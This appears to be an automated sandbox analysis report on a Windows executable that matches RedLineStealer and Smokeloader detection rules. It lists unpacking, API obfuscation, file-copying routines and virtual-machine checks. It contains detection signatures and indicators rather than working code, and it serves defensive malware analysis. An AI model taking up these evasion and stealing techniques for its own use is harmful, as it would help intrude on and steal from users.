Source: 00000000.00000002.2192797570.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Detected potential crypto function
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00834D27 0_2_00834D27
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: String function: 00404A60 appears 317 times
One or more processes crash
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2528 -s 1076
Sample file is different than original file name gathered from version info
Source: X4roU7TtF1.exe, 00000000.00000000.2105383986.0000000000465000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamesOdilesio@ vs X4roU7TtF1.exe
Source: X4roU7TtF1.exe Binary or memory string: OriginalFilenamesOdilesio@ vs X4roU7TtF1.exe
Uses 32bit PE files
Source: X4roU7TtF1.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 00000000.00000002.2192748426.0000000000760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2192797570.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: classification engine Classification label: mal100.troj.evad.winEXE@2/5@0/1
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_004248B0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,Process32Next,CloseHandle, 0_2_004248B0
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_0082CF29 CoCreateInstance,MultiByteToWideChar,lstrcpyn, 0_2_0082CF29
Source: C:\Users\user\Desktop\X4roU7TtF1.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\0Z81F0BW.htm Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2528
Source: C:\Windows\SysWOW64\WerFault.exe File created: C:\ProgramData\Microsoft\Windows\WER\Temp\59b189f3-b232-40d6-9983-733db2751c0d Jump to behavior
Source: X4roU7TtF1.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\X4roU7TtF1.exe "C:\Users\user\Desktop\X4roU7TtF1.exe"
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2528 -s 1076
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Unpacked PE file: 0.2.X4roU7TtF1.exe.400000.0.unpack .text:ER;.data:W;.dipo:R;.puwuxu:R;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Unpacked PE file: 0.2.X4roU7TtF1.exe.400000.0.unpack
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_004268F0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_004268F0
PE file contains sections with non-standard names
Source: X4roU7TtF1.exe Static PE information: section name: .dipo
Source: X4roU7TtF1.exe Static PE information: section name: .puwuxu
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_0076CA5F push ebx; iretd 0_2_0076CA79
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_007682E8 push ebx; ret 0_2_00768365
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00769303 push 00000032h; retf 0_2_00769305
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_0076A3E7 pushad ; iretd 0_2_0076A3E8
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00837D0C push ecx; ret 0_2_00837D1F
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_004268F0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_004268F0
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\X4roU7TtF1.exe API coverage: 3.3 %
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00823CD7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,DeleteFileA,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose, 0_2_00823CD7
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_0082D037 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,CreateFileA,GetFileSizeEx,CloseHandle,CloseHandle,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose, 0_2_0082D037
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00821C57 lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose, 0_2_00821C57
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_0082D987 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcpy,lstrcpy,FindNextFileA,FindClose, 0_2_0082D987
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_0082E187 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,lstrcpy, 0_2_0082E187
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_0081DDE7 lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,StrCmpCA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose, 0_2_0081DDE7
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00811907 lstrcpy,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,GetFileAttributesA,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose, 0_2_00811907
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00811920 lstrcpy,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,FindFirstFileA, 0_2_00811920
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00824ED7 lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,StrCmpCA,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,CopyFileA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose, 0_2_00824ED7
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00824EF0 lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,FindFirstFileA, 0_2_00824EF0
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00821607 lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose, 0_2_00821607
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00821620 lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrlen,lstrcpy,lstrcat,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose, 0_2_00821620
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_0082E657 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose, 0_2_0082E657
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00421DC0 EntryPoint,GetSystemInfo,GetUserDefaultLangID,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,OpenEventA,CreateEventA, 0_2_00421DC0
Source: Amcache.hve.5.dr Binary or memory string: VMware
Source: Amcache.hve.5.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.5.dr Binary or memory string: VMware20,1hbin@
Source: X4roU7TtF1.exe, 00000000.00000002.2192848328.0000000000964000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW0
Source: Amcache.hve.5.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.5.dr Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: X4roU7TtF1.exe, 00000000.00000002.2192848328.0000000000964000.00000004.00000020.00020000.00000000.sdmp, X4roU7TtF1.exe, 00000000.00000002.2192848328.000000000092F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Amcache.hve.5.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: X4roU7TtF1.exe, 00000000.00000002.2192848328.00000000008FE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMwarev
Source: Amcache.hve.5.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.5.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.5.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr Binary or memory string: vmci.sys
Source: Amcache.hve.5.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.5.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.5.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: X4roU7TtF1.exe, 00000000.00000002.2192848328.00000000008FE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: Amcache.hve.5.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.5.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr Binary or memory string: VMware Virtual RAM
